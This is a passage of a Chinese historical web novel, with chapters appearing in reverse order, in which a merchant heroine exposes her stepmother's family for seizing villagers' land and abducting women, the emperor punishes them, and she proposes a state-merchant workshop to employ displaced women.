“据本王所知,海运的风险极大。” “高风险,也意味着高回报。任何一桩买卖都有风险,只求稳妥,注定只能小打小闹,成不了气候。” 萧晏辞来了几分兴趣,“这么说来,你打算发展海运?” 陆知苒摇头,“实不相瞒,臣女眼下大部分资金都安排在了工坊上,海运的投资颇大,臣女一时拿不出银钱来。” 萧晏辞若有所思,“若你有足够的银钱,可会做这买卖?” 陆知苒毫不犹豫,“当然。谁会放着白花花的银子不赚?” 第93章 官商合营 翌日,陆知苒入宫,求见德丰帝。 德丰帝面上看不出喜怒,“今日入宫,所为何事?” 陆知苒恭恭敬敬回话,“臣女是为新林村一案而来。” 德丰帝语气淡淡,“怎么,你想为你父亲求情?” 陆知苒摇头,“自然不是。方家打着父亲的名义为祸乡里,一方面是方家胆大包天,另一方面,也是父亲对方家太过纵容,给了他们仗势欺人的底气,此事父亲难辞其咎,皇上对父亲的处罚已是法外开恩,臣女断不敢仗着身有寸功就得寸进尺。” 德丰帝神色稍缓,“那你为何事而来?” 陆知苒语气郑重,“臣女是想尽己所能,为新林村的百姓做些什么,以减轻心中愧悔。” 德丰帝挑眉看她,“哦?你倒是说说,想做些什么?” “臣女身无长处,唯有经商一道略有涉猎。臣女打算搭建一处联合工坊,诸如织锦工坊,香料工坊,胭脂工坊等。工坊搭建好之后,便可招收学徒,教授手艺。在学艺期间,臣女也会给她们开工钱,补贴家用。” 德丰帝听着,一下坐直了身子。 此次雪灾虽然没有造成太大的人员伤亡,但对百姓民生的确产生了影响。 现在雪还在下,温度依旧尚未回暖,难民们都待在收容所。 可他们不能一直待在那里,待开春,雪停了,就该各回各家,重新开始耕地了。 但这需要一个过程,在此之前,他们总要吃饭。 朝廷不能不管不顾,可朝廷自己出这笔钱,这又是一笔不小的开支,国库便是再丰盈,也禁不起这么消耗。 朝廷也不能厚着脸皮再让富商掏银子。 德丰帝最近一直在为此事发愁。 没想到,陆知苒贴心地把此事揽了过去。 只是德丰帝依旧心有疑虑,“大家都去工坊学手艺,岂不无人回乡种地了?” 农户们都不种地了,可就乱套了。 陆知苒笑道:“臣女亦考虑到了这一点,是以此处联合工坊只招收女学徒,男子便回家耕田种地。自古以来,皆是男主外,女主内。但实际上,女子亦不输男子,只是擅长的领域不一样罢了。” “她们只要年龄合适,能吃苦耐劳,都可以到工坊学习手艺,补贴家用。一家人互相扶持,何愁过不上好日子?” 德丰帝听得心头也跟着激荡起来。 “若依照你的这番计划,要组建工坊得花不少银子吧。” “只要能为皇上分忧,为百姓们做些实事,花费再多银子也算不得什么。” 她这话说得底气十足,让德丰帝都有些酸了。 便是他这个一国之君,也没有这般随心所欲支配如此巨额银钱的权利。 “你就算有这个心,但此事真要落实起来只怕不易。” 陆知苒露出了一抹笑,语气多了几分讨好,“皇上英明,此事凭借臣女一己之力的确办不成,有几件事还需要皇上您点头。” 德丰帝的好奇心也被勾了起来,“说说吧,你想要朕做些什么?” “要开办如此规模的工坊,首先需要一个足够大的场地。” “你看上了哪块地?” “臣女觉得,收容所那块地就很不错。再过一段时日,收容所就会闲置下来,与其白白浪费,不如将其改建成工坊,换一种形式收容百姓,还能解决百姓们的生计问题。” 德丰帝眼睛一亮。 陆知苒一边观察他的反应,一边继续道:“只是那块地用做收容所足够,搭建工坊的话,就还得继续扩建。毕竟工坊不仅仅要给她们提供学手艺的地方,还需提供吃住。可继续扩建的话,就要侵占到旁人的庄子上了。” 德丰帝大手一挥,“地的问题是小事,朕会摆平,你随便建,想建多宽都行。” 陆知苒又道:“各大工坊都需要有手艺精湛的女官,手把手地教导学徒,粗略算下来,至少需要几百上千名领头的女官。臣女倒是可以从民间搜寻人手,但手艺定然不及宫中女官,一时半会儿也搜罗不到足够人手。” 这才是真正的难题。 德丰帝看着她,“你倒是敢开口。” 她这不是要一个两个女官,而是要成百上千个。 宫女和女官都是朝廷的人,领的也算是朝廷的俸禄,这么一搞,岂不都成了给她陆知苒当差的了? 陆知苒一脸正色,“皇上,臣女知道您的顾虑,是以臣女还有另外一个提议。臣女认为,这工坊可以以官商合营的名义组建。” “官,自然是朝廷,商,便是臣女。臣女出钱,朝廷出人出力,搭建工坊,安排女官,教导学徒。日后工坊若有盈利,臣女与朝廷各占五成。有朝廷的名头在,一切安排都师出有名,大家对工坊会更加信任,对皇上也会更加感恩戴德。” 德丰帝再一次对她刮目相看。 她可真敢想啊。 但不得不说,这个提议听上去委实不错。 陆知苒恭恭敬敬地呈上一份文书。 “这是臣女整理好的思路,还请皇上过目。” 她从不打无准备的仗,这个计划,早就在她的脑子里,现在机会来了,她自然不会错过。 冯有才上前接过,呈到了德丰帝案前。 德丰帝翻开,越看,他心中就越满意。 她不仅把此事的事项从头到尾都做了详尽规划,便是连工坊的布局规划都画好了,照着那规划图,直接就能开始搭建。 “你掏出白花花的银子为朝廷安置灾民,岂不是吃力不讨好?” ——怎么会吃力不讨好?官商合营,本身就是一个活招牌,这个活招牌用好了,就能给她的商行带来巨大的财富。 待工坊运作成熟之后,她多的是法子把这笔银子翻倍赚回来。 但她自然不会这么说。 陆知苒一脸正色,“为商者,不能只是看到眼前利益,必要时舍利取义,才能走得更加长久。同为女子,臣女亦想多为世间女子做些事情。皇上御赐臣女‘义商’二字,臣女更不能辜负了您的期望。” 德丰帝听了,心中顿生感慨,看着她的眼神更是充满了欣赏与赞誉。 “你果然没让朕失望。” 陆知苒满脸希冀地望着德丰帝,“那皇上,您是答应了吗?” 德丰帝伸手捋须,面上已带上笑意,点了点头。 “你都替朕想得这般周全,朕岂有不答应之理?” 陆知苒欣喜叩头,“皇上英明,皇上一心为了百姓的生计着想,大齐能得此明主,实乃万民之福!” 德丰帝的嘴角不受控制地往上翘。 明知她是在拍马屁,德丰帝依旧被拍得浑身舒爽。 第92章 陆家的下场 德丰帝大手拍桌,怒道:“小六,你是越来越不像话了。一些捕风捉影,毫无根据的话,都能成为你拿到朕跟前攻讦他人的凭证?” 萧晏清彻底呆住。 “父,父皇,儿臣……” “你闭嘴!未窥全貌,就妄下断言,你这番行径,与那长舌之妇有何区别?” 萧晏清慌忙跪下请罪,“父皇,儿臣一时失言,请父皇恕罪!” 德丰帝满面寒霜,“你是一时失言,还是生了旁的心思,自己心里清楚。你真是越来越让朕失望了!” 一股惶恐袭上心头,“父皇……” 德丰帝没给他辩解的机会,直接打断了他,“回去好好反思反思,自己究竟错在了哪儿!” 萧晏清低着头,双拳紧握,艰涩开口,“是。” 拖着沉重的步子离开了御书房,萧晏清的胸腔中填满了愤怒与不甘。 凭什么,什么好处都让萧晏辞占了?他何德何能? 萧晏辞见好就收,没有继续落井下石,麻溜地告退了。 德丰帝揉着眉心,满面沉郁。 原本,老六是他最满意的儿子,也是最心仪的太子人选。 但最近,他太急不可耐了。 短短几日,此案闹得沸沸扬扬。 方志远入宫请罪,连跪了几日都没能见到圣人的面。 陆贯轩第一时间上了请罪折子,亦是石沉大海。 明眼人瞧着都知道,方家这一回是彻底完了。 只是不知,陆家是否会受到牵连?刚得了皇上青眼的平乐县主是否会因此失宠? 傅子诚办事效率很高,方成器和胡勇的口供很快审了出来。 照着口供,他又派人一一取证核实。 正月十一,在新年开朝的头一日,关于此案的前因后果就整理好,呈报到了德丰帝的案头上。 厚厚的奏章,一桩桩一件件条理分明地罗列,证据确凿。 德丰帝沉着脸一页页翻阅,方志远和陆贯轩跪在了最前列,底下众臣垂头敛目,大气不敢出。 翻看完,德丰帝将折子狠狠甩在方志远的头上。 “你一个小小五品芝麻官,养出的儿子胆子倒是不小!” 方志远匍匐在地,身子瑟瑟发抖。 “微臣罪该万死,请皇上降罪!” “你的确罪该万死!来人,传朕旨意,方志远教子无方,纵子行凶,枉为人臣,褫夺官位,贬为庶人。方成器抢占民田,强抢民女,为祸乡里,罪大恶极,秋后问斩!” 方志远身子一软,彻底瘫软在地。 陆贯轩身子瑟瑟发抖,后背被冷汗打湿。 方家有如此结局,自己又岂能独善其身? 很快,上首又传来一道威严的声音,“陆贯轩,你未曾约束族人,有失察之责,难辞其咎。念在平乐县主有功在身,故从轻发落,罚俸一年,降阶一级,以儆效尤。” 陆贯轩闻言,心中大石终于落地,整个人生出一股劫后余生之感。 “微臣领旨谢恩!” 陆贯轩此时无比庆幸,自己有陆知苒这么一个好女儿! 本以为此事就此了结,德丰帝却是话锋一转,“傅爱卿,此次你协理此案,调度有方,进展迅速,才干了得,很是不错。” 傅子诚诚惶诚恐地上前,“皇上谬赞,为皇上分忧本就是微臣分内之事。” “有过当罚,有功自然当赏。傅爱卿有此才能,在京兆府是屈才了,即日起,擢升大理寺少卿,协理刑讯事宜。” 傅子诚大喜,立马叩首谢恩。 大理寺少卿不仅比京兆尹高了半级官阶,也拥有了更高的权利。 京兆府办理的都是民间大大小小的案子,大理寺办理的乃是重大案件,在职权上与刑部分庭抗礼,这是傅子诚一直梦寐以求的去处。 但他性子耿直,不善交际,也无丰厚家底打点,只能慢慢熬资历。 本以为至少再熬十年八年才能往上挪一步,没曾想,不过是办了一桩差事就实现了。 七皇子真乃他的贵人! 方氏和陆映溪早早候在门口,陆贯轩一回来,母女二人便急急迎上前。 方氏语气急切,“老,老爷,怎么样?” 陆贯轩见了她,脸色立马冷了下去。 “托了你方家的福,我被罚俸一年,官职非但没有升,反而还降了一级!这还是多亏了苒姐儿先前立下大功,皇上才对我从轻发落,不然,我怕是要直接被撸成了白身!” 有了方家做对比,陆贯轩原本对此结果感到庆幸。 但转念一想,自己什么都没干,半点好处没捞着,平白受了方家的牵连,有什么值得庆幸的? 方氏小声开口,“那,那方家呢?” 陆贯轩冷笑一声,“你爹褫夺官位,贬为庶人,至于你大哥,秋后问斩!” 方氏身子一软,几乎站立不稳。 “怎,怎会这样?怎么罚得如此重?” “你大哥犯下此番大罪,还想要皇上从轻发落?皇上没把方家人都砍了已经是法外开恩!你给我老实待着,不许和方家人有半点来往,若被我发现你偷偷接济他们,我直接休了你!” 陆贯轩撂下狠话,不再理会她们母女,甩袖而去。 陆映溪扶着方氏,手心发凉。 “娘,好端端的,事情怎么会变成这样?以后,我们该怎么办啊……” 外祖被贬为庶人,父亲也因此厌弃了她们,反观陆知苒,身份地位水涨船高,今后,她们在府里要怎么过? 陆映溪的眼泪无声地流。 方氏用力握着她的手,镇定地道:“不要怕,你二舅舅和三舅舅都没有受到牵连,可见皇上对方家还没有赶尽杀绝。你三舅舅官居四品,定能把方家的门楣重新撑起来。” 只要方家没有倒,她就是有娘家的人,她们母女就不会无人倚仗。 “我们还有君儿,待日后君儿金榜题名了,我们的日子就更好过了。” 陆映溪双目无神,充满绝望,“可是,那还需要很多年,我等不了了。娘亲,我的亲事,该怎么办啊?” 方家遭逢此难,父亲也被贬官,怕是原本她瞧不上的人家,也未必愿意与自己结亲了。 她只能挑一个连陆家都不如的人家。 她心底那抹幻想被打破,不得不回到了冰冷的现实,她如何甘心? 方氏想到这一点,亦是心口发堵。 “娘会想办法的,娘肯定会让你有个好归宿!再怎样,你也比陆知苒那个二嫁之身强!” 此时这话说来毫无底气,但她们也只能这般安慰自己。 第91章 抢功的来了 萧晏辞面露迟疑,“父皇,还有一事,儿臣不知该不该说。” 德丰帝没好气,“有话就说,别吞吞吐吐。” “其实,方家之事,与平乐县主有些关系。” 德丰帝的神色一顿,“此言何意?” “方家,乃是陆贯轩现在的岳家,真算起来,平乐县主也要喊方成器一声舅舅。” 德丰帝联想到了别的方面,面上笼上一层寒霜。 “难道此事平乐县主也参与了?” 若她沾染上半分,功臣变罪臣,这对德丰帝而言,才是最大的打脸。 萧晏辞忙道:“自然不是,父皇您耐心听儿臣说完。” 德丰帝刚酝酿好的滔天怒意卡了壳,余怒便全冲着萧晏辞去了。 “你小子有话就给朕快点说,别说一半留一半,在朕面前卖关子!” “儿臣是想说,方成器的罪行之所以会被揭穿,是有人在背后使了力,那人便是平乐县主。真要论起来,她又立了一功。” 德丰帝愣住。 “此话当真?” 萧晏辞点头,“儿臣岂敢拿这事开玩笑?” 小虎子从未见过陆贯轩,怎会知道他长什么样?如何得知他今日在邢家赴宴?又怎敢公然揭穿? 这背后,都有一双手在暗中推动。 他也没想到,这一切竟是陆知苒暗中所为。 “你又是怎么知道的?” 萧晏辞一副神秘模样,“这您别管,总之,儿臣敢向您保证此事千真万确,您若不信,大可召她入宫,当面问她便是。” 德丰帝一时心绪复杂。 “大义灭亲,是个狠人。” 萧晏辞反问,“她这般干脆利落,大开大合的行事风格,难道父皇不喜欢?” ——反正他喜欢。 她的每一桩事,都办到了他的心坎上,勾得他心头瘙痒。 德丰帝也没法说出违心之言。 但凡陆知苒是个男子,他定要破格提拔,放在自己身边当智囊团了。 只可惜是个女子。 “父皇,平乐县主与方成器乃名义上的舅甥,她行事隐秘,不愿背负大义灭亲的名声,您暗地里给她记下一功就行,可别大张旗鼓地赏她。” 德丰帝上下打量他,“你小子,怎么对平乐县主的事这般上心?” 萧晏辞莫名心虚,面上却一派大义凛然。 “她是咱们大齐朝的大功臣,女英雄,儿臣没佩服过谁,她算一个。再说了,父皇您不也对她赞赏有加?您的态度也决定了儿臣的态度。” 德丰帝盯着他看了一会儿,方才升起的荒谬念头被压了下去。 平乐县主虽才貌双全,但毕竟是和离之身,这小子连那些高门贵女都看不上,怎会对她动心思? 定是自己想多了。 给陆知苒请了一功之后,萧晏辞拉回正题,自请负责此事后续事宜。 德丰帝有些迟疑,“你现下负责收容所之事,能分得开身?” “收容所诸事已经步入正轨,有贺昀盯着,儿臣无需再事事亲力亲为。您若实在不放心,再给儿臣分派个得力助手便是。” “儿臣觉得,京兆尹傅子诚不错,他本就负责处理大小案件,刑讯审案都有一套,此事交由他审理,再合适不过。” 德丰帝沉吟片刻,答应了。 萧晏辞立马谢恩。 就在这时,外头传来太监的通传,“皇上,六皇子在外求见。” 萧晏辞眸光微动。 这厮就跟条狗似的,闻着味儿就来了。 萧晏清大步流星而入,“儿臣拜见父皇。” “你突然入宫,所为何事?” 萧晏清朗声道:“儿臣听说方家为祸乡里,强占粮田,强抢民女,实在气愤难当,儿臣愿为父皇分忧,彻查此事,为百姓讨回公道。” 果然是来抢功的。 只可惜,他又迟了一步。 萧晏辞欠欠地开口,“六皇兄有这个心就好了,不过此事父皇已然交给我去办,就不劳六皇兄操心了。” 萧晏清面色微变,并不肯放弃,“七弟,你现在正负责收容所之事,分身乏术,此事便交由皇兄代劳,我们各司其职,两桩差事都能办好,岂不两全其美?” 萧晏辞悠悠道:“六皇兄不必担心,方才父皇已经派了京兆尹傅大人协理此事,傅大人是查案审案的好手,他手底下也都是能人,此事出不了差错。” 萧晏辞就是料到这厮会来抢功,才先一步举荐了傅子诚。 傅子诚性子耿直,办案公正,不失为可用之人。 萧晏清的表情凝固。 他听到消息就第一时间入了宫。 刑部侍郎秦中举是他的人,此案只要移交刑部,就是现成的功劳。 没想到萧晏辞动作那么快,竟然举荐了京兆尹傅子诚来负责此案,如此一来,刑部是半点边都沾不到,自己也自讨了个没趣。 萧晏清心口堵了一口气,怎么都不舒坦。 不甘心就这么空手而归,萧晏清开口,“说来,傅大人与平乐县主似有些旧交,此事又与平乐县主有干系,此案交由傅大人负责,是否不妥?” 萧晏辞一听这话就知道他没憋什么好屁。 “六皇兄此言何意?傅大人与平乐县主有何旧交?” 萧晏清故作迟疑地开口,“我听说,平乐县主与宣平侯府和离时,于银钱上有些牵扯,还闹到了官府,负责此案的正是傅大人。最后是宣平侯府给了一笔巨款此事方了结。” 他这话说得不清不楚,若不了解内情的,怕是真要被他带偏了。 德丰帝的脸色沉了几分。 “六皇兄,你这话是说傅大人徇私枉法,偏袒平乐县主?” 萧晏清正色,“我并无实证,不敢断言。但我曾见到傅大人对宣平侯态度咄咄逼人,言辞间的确对平乐县主多有维护。最终宣平侯府也确实拿出了一笔巨款才解决此事。” 萧晏辞没急着反驳他,又问,“那你说此事与平乐县主有干系,又是怎么一回事?” 萧晏清:“平乐县主与方家是亲戚,算起来,方成器还是她舅舅。父皇,儿臣以为,此事交给傅大人不妥,为了事情公平公正,合该避嫌一二。” 德丰帝一直沉着脸没说话,萧晏清以为自己的眼药上到了点子上。 殊不知,他这是摸了老虎屁股而不自知。 第90章 好日子到头了 周遭静了下来。 陆知苒垂着头,掩住了唇角那抹快意。 她恨方氏,也恨方家人。 前世,她待字闺中之时,曾与方氏和陆映溪一起去过方家,彼时方成器便总是用一副垂涎的目光打量她,像苍蝇一样恶心。 有一次,她被算计,险些被对方得手! 而这一切,都少不了方氏的推波助澜。 方家人都不是好东西,方成器更是恶贯满盈的畜生,他该死。 这辈子,他们的好日子到头了。 至于她的好父亲,她可从来没有想过要帮他升迁官位! 他不配! 看着被拖走的两人,陆贯轩狠狠打了个哆嗦。 “瑾王殿下,下官是真的毫不知情,请您相信我!” 萧晏辞面色冷淡,“本王信不信不重要,重要的是皇上信不信。” 一句话让陆贯轩瞬间汗流浃背。 “时间不早了,本王还要赶着入宫回禀,就不与陆大人闲话了。” 又拍了拍小虎子的肩,“你们也先回收容所,有消息,本王会第一时间告知你们。” 小虎子小鸡啄米似的连连点头。 萧晏辞朝某个方向投去一眼,那人也恰好在看他,二人目光碰撞,萧晏辞露出一抹意味深长的神色。 陆知苒莫名心虚,似被他一眼看穿了所有。 怎么可能?自己安排布局得十分周密,他不可能发现。 萧晏辞大步流星离开,围观众官员也三三两两散去。 陆贯轩急切走到邢世杰面前,“邢大人,方才之事你都看在眼里,下官真的一无所知,都是被人蒙蔽了,你可要相信下官啊!” 邢世杰出声宽慰,“陆大人,此事你无需着急,皇上明察秋毫,定会给出一个公允的裁决。” “那,下官升迁之事……” 邢世杰顿了顿,“此事本官也没有权利一人裁夺,得与吏部的众大人们一同商讨,陆大人静候佳音便是。” 这话虽未直接拒绝,但谁会听不出言外之意?陆贯轩的心凉了半截。 高高兴兴出门赴宴,回来时却一片阴沉,没了半点笑意。 一关上大门,陆贯轩的怒意再也压不住,扬手又给了方氏一记耳光。 “啪”一记脆响,方氏的嘴角立马渗出血来。 陆映溪吓得抱头尖叫。 “我这次要被你们方家人害死了!若我被皇上责罚,定饶不了你!” 方氏捂着脸,哽咽开口,“老爷,若打骂妾身能挽回局势,妾身便是被您打死也心甘情愿。可再多打骂也无济于事,当务之急,是该好好想想如何补救。” 陆贯轩气急败坏,“事到如今还能如何补救?” 方氏朝陆知苒看了一眼,低声开口,“苒姐儿是皇上亲封的平乐县主,又有功劳在身,在皇上跟前正是得脸之时,若苒姐儿入宫求情,皇上定会对您,对方家网开一面。” 陆贯轩被气昏了头,竟忘了这一茬。 “对对,苒姐儿,你能入宫面圣,向皇上求情,快快,现在就去。” 陆知苒心中冷嘲。 入宫求情?做梦。 “今日之事,发生在众目睽睽之下,且人证物证俱全,方家的罪行板上钉钉。女儿不会为了那样为祸乡里的畜生去求情。” 方氏面皮狠狠抖动,“那是你舅舅!” “我的舅舅姓洛,不姓方。” “你……” 陆知苒直接打断她,“方家已然身在泥潭,我此时入宫求情,只会把陆家也拉入泥潭中。父亲,此举实不明智。” 陆贯轩也连连点头,“你说得对。父亲不是让你为方家求情,是为陆家求情。” 陆知苒依旧摇头,“父亲,不论女儿是为谁求情,此时入宫都有可能火上浇油。” 陆映溪反驳,“怎么可能?姐姐莫不是不愿出力才故意找托辞?” 陆知苒转眸看向对方,眸含冷意。 “妹妹,请你慎言。我乃陆氏女,与陆家一荣俱荣,一损俱损。父亲出事,我也没有任何好处,不要用你的小人之心来揣度我。” 陆贯轩恼怒地剜了陆映溪一眼,“帮不上忙就闭嘴!” 陆映溪狠狠咬唇,闭嘴不说话了。 陆知苒一脸正色,“皇上此时正在气头上,女儿这时入宫求情,反倒像是仗着自己的功劳胁迫皇上,换了您,您心里能痛快?皇上不痛快了,父亲以后的官途才是真正的难走了。” “您此时该做的,是立马上折子请罪,言辞越恳切越好。只要您在这件事上清清白白,皇上就算怪罪,顶多也只会治您一个失察之责,小惩大诫罢了,定不会重罚。” 陆贯轩若有所思。 方氏忍不住开口,“那,老爷的升迁……” 陆知苒反问,“闹了这么一出,母亲觉得父亲的升迁还有希望吗?能不被贬黜,就已是万幸。” 想到自己原本唾手可得的锦绣前程就这么没了,陆贯轩心口一阵发疼,又狠狠剜了方氏一眼。 若非顾念君儿的前程,自己定要休了她! “待皇上息怒之后,女儿会入宫求见皇上,为此事做一番弥补。虽然无法再替您筹谋出升迁之路,但或许能帮您挽回一二名声。” 陆知苒的神色镇定,自有一番运筹帷幄的泰然笃定,陆贯轩竟有种找到了主心骨的感觉。 “好好好,都听你的。” 陆知苒又温声安抚了一番,这才告退。 没走多远,又听到了父亲的斥骂声,和一声声低低的啜泣。 陆知苒唇角勾起一抹浅浅的弧度。 再牢固的关系,以利益为支点,都能轻易撬动。 前世她不懂这个道理,反倒奢望能用感情打动他,当真愚不可及。 这只是第一步。 当初,方氏是如何一步步把母亲逼上绝路,她也要原原本本地把这一切还回去,让她好好体会失去一切的绝望。 御书房中。 德丰帝气得连连拍桌。 “好个方家,芝麻绿豆大点的小官,竟如此胆大包天,还把不把朝廷的律法放在眼里?把不把朕放在眼里!” 萧晏辞也没了以往插科打诨的心思。 “父皇,此事影响恶劣,应该彻查到底,严惩不贷,以儆效尤。” “查!自然要查!天子脚下都敢如此肆意妄为,朕定要剁了他们的手!” 前几日他命人把万民书挂在了御书房东侧的墙上,日日观摩,心情好极了。 能得万民如此感激敬仰,日后史书上定会留下浓墨重彩的一笔。 谁曾想,他的子民,在他看不到的地方,竟然经受着这般非人的苦难!这是在打他的脸啊! 第89章 像你这样的畜生,不配做人 主仆二人当众甩锅,争得面红耳赤。 胡勇被逼急了,直接揭了对方的老底。 “你的后院里有一房小妾,就是我从新林村给你物色的!瑾王殿下,您派人去方家后院把人带来,她定能作证!” 此言一出,方成器变了脸色。 小虎子激动起来,“是我姐姐,肯定是我姐姐!瑾王殿下,求求您,一定要把我姐姐救出来!在这世上,我,我就只有她一个亲人了。” 萧晏辞给了贺昀一记眼神,他立马转身而去。 方成器脸上慢慢渗出冷汗,时间在这一刻变得格外难熬。 小虎子伸长了脖子往外看,眼里既紧张又期待。 不知过了多久,人群外终于有动静传来。 众人主动让开了一条道,两个粗壮婆子搀着一个身形瘦弱的女子缓步走了来。 那女子脸色惨白,面容消瘦,两颊凹陷,身形单薄得如同一张纸片,若非有人搀着,她早就倒下了。 小虎子冲了上去,“姐姐,真的是你!” 春杏迟钝地转着眼珠子,定定看了他好几息,两行清泪滚滚滑落。 “虎子,是你吗?” “是我,姐,我终于找到你了!” 姐弟二人抱头痛哭,那哭声传得很远,叫人听了亦不觉心头阵阵发涩。 “殿下,属下赶到方家时,这位春杏姑娘被关在自己的小院里,无人送饭食,无人供炭火,亦没有厚衣加身,她只能以院中的野菜野草为食。属下让她吃了一碗稀饭,又含了两片参片,这才恢复了几分精神气。若再迟上几日,她只怕……” 小虎子听了,双目红得充血。 他挥舞着拳头冲上去,照着方成器的头脸招呼。 “你这个畜生!当初把我姐姐强抢回去,却又不好好待她,你简直猪狗不如,我现在就打死你!” 小虎子本就力气大,此时怒火爆发,更是力大惊人,方成器被他压在地上打,毫无还手之力。 邢家的护卫赶紧上去拉人,颇费了一番功夫才把人拉开,方成器已经被打得鼻青脸肿。 但无人同情他,甚至还觉得打得不够狠。 春杏欲下跪,被萧晏辞拦住,让人给她端了一把椅子。 “你坐着回话。” “多谢殿下仁厚。小女子名唤李春杏,乃惠安县新林村人氏,三年前……” 她缓缓讲述着新林村的百姓是如何一步一步被算计着丢了田产,自己又是如何被抢入方家。 她的讲述与小虎子、李叔的完全吻合,每一处细节都对得上。 “方成器贪得无厌,毫无人性,为了自己的一己之私什么都干得出来,他就是个畜生!方家后院里,还有其他像我这样被强抢的女子。而且,除了新林村,附近的几个村落也被他强占了不少田地。县令收受贿赂,与他沆瀣一气,根本不顾我们的死活!” “他早就厌弃了我,主母亦将我视作眼中钉,肉中刺,开始一两年对我棍棒加身,后来,便让我在府中自生自灭。” “我不甘心就这么死了,哪怕再难,我也努力活着。我自己在院子里种菜,这才勉强熬过来。但这个冬天实在太冷了,我本以为自己熬不过去了,没想到,终于有人来救我了……” 说到最后,她已是满脸泪痕。 小虎子双目赤红,咯咯握紧双拳,恨不得再将那畜生狠狠打一顿。 众人听了,心中亦是一阵不忍。 春杏艰难地从椅子上起身,跪下,朝萧晏辞的方向重重磕了一记响头。 “小女子所言句句属实,恳请瑾王殿下彻查此事,还民女一个公道,也还新林村众百姓一个公道!” 小虎子和新林村众人也齐齐跪下,朝萧晏辞磕头。 那一声声叩头声,似一记记重捶,狠狠捶在他的心头,叫他心口闷闷涨涨的疼。 他以为,大齐朝的百姓人人都安居乐业,不说有多富足,至少衣食无忧。 但今日之事,却揭开了美好表象后的残忍真相。 在他看不到的角落,原来还有这么多人正在经历不为人知的苦难。 他们吃不饱,穿不暖,甚至,连活着都格外艰难。 俯身,把人一一扶了起来。 他眸色深深,语气前所未有的郑重,“此事本王已知晓,你们的冤屈,本王看到了。本王会亲自呈禀皇上,由皇上定夺。皇上明察秋毫,体察民隐,定会给诸位一个公道的结果。” 他这话,分量重如千金,小虎子一下又红了眼眶。 脏兮兮的小手抓着萧晏辞的衣角,“殿下,你真是大好人!” 衣角上留下了一片污渍,萧晏辞也并不在意,抬手摸了摸他的发顶。 “记住本王一句话,男儿有泪不轻弹,把眼泪擦掉。” 小虎子立马抬手,飞快地擦干眼泪,“我以后,再也不会哭了!” 萧晏辞拍了拍他的肩,他那瘦弱的肩膀立马挺直了几分。 此刻,小小的他心中埋下了一颗种子。 他要快点长大,他要练武,要变得更加强大,成为像瑾王这样高大英武的男子,这样,他就能保护好他的家人! 方成器终于找到了自己的声音。 “瑾,瑾王殿下,草民知错了,千错万错都是草民的错,求您高抬贵手,饶了草民这一回,从今以后,草民一定洗心革面,好好做人!” 萧晏辞看着他,眼底似淬了冰。 “像你这样的畜生,不配做人。来人,把他们收押候审,等待圣裁!” 方成器瘫成一堆烂泥,他慌忙转向陆贯轩,两眼冒着期盼的光。 “妹夫,你救救我啊妹夫,我是你大舅兄啊!” 陆贯轩避之不及,“滚远点,我没有你这样的大舅兄!从今以后,我陆贯轩与你方家一刀两断,再不往来!” 方氏瞪大了眼,想说什么,对上陆贯轩冷得透骨的眼神,她一个哆嗦,把所有话都咽了回去。 胡勇连忙高声大喊,“瑾王殿下,小的方才主动提供了线索,也算是戴罪立功了,求殿下从轻发落啊!” 萧晏辞蹙眉,“太吵了,堵上。” 二人的呼喊和求饶,很快被一阵呜呜声取代,越来越远,直至彻底消失。 第88章 巴掌打在了自己脸上 他飞快朝方氏看去一眼,“扑通”跪在了地上,哆哆嗦嗦地开口,“草民胡勇拜,拜见瑾王殿下。” 小虎子高声大喊,“就是他!骗我们签了契书!” 胡勇抖着声音,“误会,都是误会啊……” 萧晏辞并不理会他,翻起了契书。 萧晏辞看罢,笑了,只是那笑意丝毫不达眼底。 “诸位大人再看看。” 一沓契书再次在众人手中传阅,大家的面色越来越沉。 这些契书,与方才他们看的那三份契书内容一模一样,唯一的区别便是后面的落款和手印。 方氏看到那些契书,两眼一抹黑,差点晕过去。 胡勇怎么回事,为什么还保留着这些要命的契书?这种东西不是早就应该销毁的吗? 胡勇也后悔啊,他当初之所以留下这契书,是想留一个把柄,以免事后被主家卸磨杀驴。 不想此事竟突然被揭发,这些保留完整的契书,反而成了最直接的罪证,他这是搬起石头砸了自己的脚啊! 萧晏辞眸光一转,冷冷落在胡勇身上,“说说吧,这契书上写的,是不是确有其事?” 大冷的天,胡勇后背已经浸湿,“瑾王明鉴,小,小的只是钱庄管事,这,这些都是主家的事,小的也不知道啊。” 小虎子愤怒高喊,“你说谎,当初就是你到我们村放贷,哄我们签下契书,后来也是你拿着假的契书来要挟我们抵押田产,你怎么可能不知道!” 他还在狡辩,“钱庄本就是做这放钱收利息的买卖,你们还不起银子,自然要用其他东西抵押,我这也是正常的交易罢了。” 萧晏辞冷笑,“正常交易?那你着急忙慌要烧这些做什么?” 胡勇眼神闪烁,磕磕绊绊,“小,小的,就,就只,只是刚好在整理陈年账目……” 萧晏辞抬脚,直接踹到对方心窝上,他像个球似的在地上滚了几圈,最后趴在地上,“哎哟哎哟”直叫唤。 男人眉眼弯出狠厉的弧度,目色阴沉,眼神幽暗。 “狗东西,真当本王好糊弄?本王愿意给你机会,你不知珍惜,现在本王就送你一程!” 胡勇强忍心口剧痛,“砰砰砰”连连磕头,“瑾王饶命,小,小的只,只是个当差的,请瑾王殿下,高抬贵手,饶了小的这一回吧!刚,刚刚,是主家派人来传话,让,让小的把那些契书销毁了,小的不敢不从啊!” “你的主家是谁?” 胡勇深深垂着头,半晌没说话。 方氏手中的帕子拧成了麻花,如同热锅上的蚂蚁,焦灼不安。 萧晏辞抬脚,踩在胡勇肥硕的肩头上,稍稍用力,他就贴在了地面上,疼得连连吸气。 “本王耐心有限。” 陆贯轩也急得不得了,“快说,你的东家究竟是谁?胆敢污蔑到本官的头上,真是吃了熊心豹子胆了!” 胡勇疼哭了,“是,是方家!” 陆贯轩一愣,“哪个方家?” “就,就是陆大人您自己的岳家啊!” 此言一出,陆贯轩石化一般,愣怔当场。 这巴掌打得可谓又脆又响,直接把他打蒙了。 方氏心头那根弦终于彻底绷断,手里的帕子没拿稳,飘飘然落了地。 陆贯轩破防了,声音拔高了八度,“这怎么可能?” “您不信,问问您夫人便知道了。” 陆贯轩不可置信地转头看向方氏,“这是怎么一回事?你早就知道那钱庄是你娘家开的?” “这,这妾身也不知道啊,这其中定然有什么误会,妾身的哥哥素来遵纪守法,怎会做这等为祸乡里之事?” 陆贯轩胸口一阵阵上下起伏。 “人证物证都摆在眼前,还能有什么误会?” 他的前途,他的名声,全都完了,这下,再也洗不清了! “定,定是底下人欺上瞒下,打着老爷的名号行事……” 